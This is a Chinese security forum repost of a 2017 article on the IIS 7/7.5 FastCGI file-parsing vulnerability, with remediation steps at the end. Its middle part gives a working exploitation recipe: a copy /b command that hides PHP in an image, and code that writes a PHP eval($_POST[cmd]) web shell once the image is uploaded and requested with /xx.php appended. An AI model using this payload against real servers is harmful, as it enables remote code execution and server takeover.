搜索

[20935] 2017-11-09_IIS7&7.5解析漏洞

文档创建者：s7ckTeam
浏览次数：14
最后更新：2025-01-18
2017-11-09_IIS7&7.5解析漏洞 I I S 7 & 7 . 5 解 析 漏 洞 L e m o n S e c   2 0 1 7 - 1 1 - 0 9 I I S 7 / 7 . 5 在 F a s t - C G I 运 行 模 式 下 , 在 一 个 文 件 路 径 ( / x x . j p g ) 后 面 加 上 / x x . p h p 会 将 / x x . j p g / x x . p h p   解 析 为   p h p   文 件 。
常 用 利 用 方 法 ： 将 一 张 图 和 一 个 写 入 后 门 代 码 的 文 本 文 件 合 并 将 恶 意 文 本 写 入 图 片 的 二 进 制 代 码 之 后 ， 避 免 破 坏 图 片 文 件 头 和 尾   e . g .   c o p y   x x . j p g / b   +   y y . t x t / a   x y . j p g # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # / b   即 二 进 制 [ b i n a r y ] 模 式 / a   即 a s c i i 模 式   x x . j p g 正 常 图 片 文 件   y y . t x t   内 容   < ? P H P f p u t s ( f o p e n ( ' s h e l l . p h p ' , ' w ' ) , ' < ? p h p   e v a l ( $ _ P O S T [ c m d ] ) ? > ' ) ; ? > 意 思 为 写 入 一 个 内 容 为   < ? p h p   e v a l ( $ _ P O S T [ c m d ] ) ? >   名 称 为 s h e l l . p h p 的 文 件   # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 找 个 地 方 上 传   x y . j p g   , 然 后 找 到   x y . j p g   的 地 址 ， 在 地 址 后 加 上   / x x . p h p   即 可 执 行 恶 意 文 本 。 然 后 就 在 图 片 目 录 下 生 成 一 句 话 木 马   s h e l l . p h p   密 码   c m d 注 意 ： 注 意 ： 该 解 析 漏 洞 利 用 需 两 个 条 件 ： 1 .                 p h p . i n i 里 c g i . f i x _ p a t h i n f o = 1 ( 默 认 为 1 )
2 .                 在 ” H a n d l e r   M a p p i n g ” 中 取 消 勾 选 以 下 内 容 ： 解 决 方 案 ： 1 .             配 置 c g i . p a t h i n f o ( p h p . i n i 中 ) 为 0 并 重 启 p h p - c g i 程 序 2 .             在 ” H a n d l e r   M a p p i n g ” 勾 选 p h p - c g i . e x e 程 序 的 ” I n v o k e   h a n d l e r   o n l y   i f   r e q u e s t   i s   m a p p e d   t o ”
3 .             重 新 配 置 i i s ， 使 用 I S A P I 的 方 式 ( 注 意 ： P H P 5 . 3 . 1 已 经 不 支 持 I S A P I 方 式 ) 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理